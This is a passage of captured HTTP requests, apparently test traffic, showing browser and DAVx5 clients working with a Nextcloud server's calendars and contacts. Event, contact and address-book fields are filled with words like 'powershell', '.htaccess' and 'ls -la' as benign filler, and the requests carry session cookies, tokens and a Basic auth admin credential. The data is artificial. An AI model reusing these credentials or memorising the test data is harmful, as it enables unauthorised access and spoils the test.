oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:prop></x0:propfind>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 913", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 8gswnZCUVQGWpJa26qM/dLjrL6vbK3lMGrQAEMHx8c4=:kGBJydfGPTSlkMLzpIhKBYmSHZ2THQwEdfFOeerHtqo=", "If-Match: \"d2d274ce8b8726e9da40bc04bf871974\"", "X-NC-CalDAV-Webcal-Caching: On", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8; component=vevent; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=2EhHLVMo%2BuB2X6qXLvEQbhs%2FnBVzc3Eq46xDP3paR0WSicnXSqtFgO%2F6%2BUU5xF4EqtbReCt6FWHuuAmXJj2%2B3SKLgwUnaVtQu5ZTFi1kiF5IDWJaJbcuUUYzFf6ryy2c; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ef24c0ab9fb54634fa08cf8f41227b3d; nc_username=admin; nc_token=qBFdaX4Mt75T9rCmzWegIkZeNMopFgdR; nc_session_id=ef24c0ab9fb54634fa08cf8f41227b3d"], "body": "BEGIN:VCALENDAR\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090707Z\r\nLAST-MODIFIED:20261110T090707Z\r\nSEQUENCE:4\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Powershell and ls -la session\r\nLOCATION:.htaccess room\\, Python3 Street 4\r\nDESCRIPTION:Notes for python3\\, powershell and .htaccess\\; ls -la shows the\r\n files.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: XzdVTnLDdfXMQfo5P/dvxM1gfhL4vJdqn0oPhubHYyc=:Ol4lIBTzBIL/OI11VI03pa4ZDmGi29IC1BA9/7/wKX4=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=tRZ%2BSptBHK11P5pryNcLmx3815D1Oaf9%2BKEWPWYgNj0BMJt19Hg%2Bh85ageyJfVW69WyQm4n0d%2B60YaLoCjp9e5xMZoFRxx0FrrU6%2BwyOS4UxJznaNaJU9YSsoVBvNNU4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=fa1e8b24b31e987cac3388eb4507a69c; nc_username=admin; nc_token=vP3np0skoBgEl%2F4Xz4IWK%2BUwsgDUMGA%2F; nc_session_id=fa1e8b24b31e987cac3388eb4507a69c"], "body": ""}
{"method": "GET", "target": "/apps/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x4:addressbook xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:resourcetype><x0:displayname>Powershell and .htaccess people</x0:displayname></x0:prop></x0:set></x0:mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: fZgjYlkTsOd20pLYPjng/qvwY4SGiFpn9ESXtI5TLg4=:MOFqAWxnm9Rdk+O6bACVl+zEUd3g4jERsj747aEaZ2o=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=jOdffoGm%2FR4%2FLegb4Tes9nHq9GPhh0oBu6yT3apgCqiEBQQj3XY5S5oZhFPmWexksgRMt2SpOiAAeUTpmgc01J4kaHZee1Ug6U204lFJ0WZej0d7%2FxRrDspKnD6ltmFP; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=e0aeeffda7c701dc426e0d411bdfb0a2; nc_username=admin; nc_token=piSmKb4QqFXfvtkB0J1iEKk3ElcqKzyC; nc_session_id=e0aeeffda7c701dc426e0d411bdfb0a2"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 332", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091354Z\r\nFN:Ada Python3 Powershell\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Powershell admin\r\nEND:VCARD"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x4:address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:prop></x0:propfind>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 348", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 7Vdz2rzQ/4Dwwwmsqiy1H4Ac0zCBNZHnXHTBNGBb+aU=:jy4VvvKDjM/Eql/exFvML9J/l3PMZtCTOwCUAipwnM0=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8; charset=UTF-8", "If-Match: \"71a3092727585c70e67fdc0d6d610c20\"", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=kWAeErU2vXagSmHqAr00wV4yN408SYGPcS0P05Fxux4TdMkDB32sXCORkyIudWzxRB9QebdTZznhygCaa2skiuRhwWQB0Vjo4SZC1Pg27uy%2FGQK7bbXaXY3nAsGqO9DM; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a13ae35dab214517739d9f5b4a0d9264; nc_username=admin; nc_token=boKHHKSaguKiOEwEA6ohVdUIsfFVG0P6; nc_session_id=a13ae35dab214517739d9f5b4a0d9264"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091426Z\r\nFN:Ada .htaccess ls -la Python3\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Python3 and ls -la trainer\r\nEND:VCARD"}
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "requesttoken: 3K2A7EtHJTOVTJ7M8h5zQF9iYoahono/AafukOCK5ak=:scf6qTpsX0OlHva6o0grAhYuBsHs5khQZ5KbpLTm0MA=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=el6hXqkaEpqVs6rRnN5Qb8ecVqAYaa%2F93Y3talW%2B8NLNAj3MF%2BtO5naG1BjPfqP91zWgMQAw3W6D5N5%2Frqw5sz4ij4nSoe5khPs45Gv%2F8NDs63QCkUg7fjSLLvISdXFE; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a7d23fe345d2880f1f6655a952f9b2f3; nc_username=admin; nc_token=hzOptppVGWk1f6mZgFJxDbutRK5tE%2FGx; nc_session_id=a7d23fe345d2880f1f6655a952f9b2f3"], "body": ""}
{"method": "PROPFIND", "target": "/.well-known/caldav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/.well-known/carddav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/principals/users/admin/", "headers": ["Host: example.com", "Content-Length: 294", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><CAL:calendar-home-set /><CARD:addressbook-home-set /><displayname /><CAL:calendar-user-address-set /><group-membership /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Content-Length: 407", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CS=\"http://calendarserver.org/ns/\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><prop><resourcetype /><displayname /><CAL:calendar-description /><ICAL:calendar-color /><CAL:supported-calendar-component-set /><current-user-privilege-set /><CS:source /><CAL:calendar-timezone /><owner /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Content-Length: 232", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><resourcetype /><displayname /><CARD:addressbook-description /><current-user-privilege-set /><owner /></prop></propfind>"}
{"method": "MKCALENDAR", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 496", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:mkcalendar xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><set><prop><displayname>Python3 club and .htaccess</displayname><CAL:calendar-description>Powershell and python3 meetings; ls -la first</CAL:calendar-description><ICAL:calendar-color>#FF0000FF</ICAL:calendar-color><CAL:supported-calendar-component-set><CAL:comp name=\"VEVENT\" /></CAL:supported-calendar-component-set></prop></set></CAL:mkcalendar>"}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 340", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Ls -la and powershell team</displayname><CARD:addressbook-description>Python3 and .htaccess people</CARD:addressbook-description></prop></set></mkcol>"}
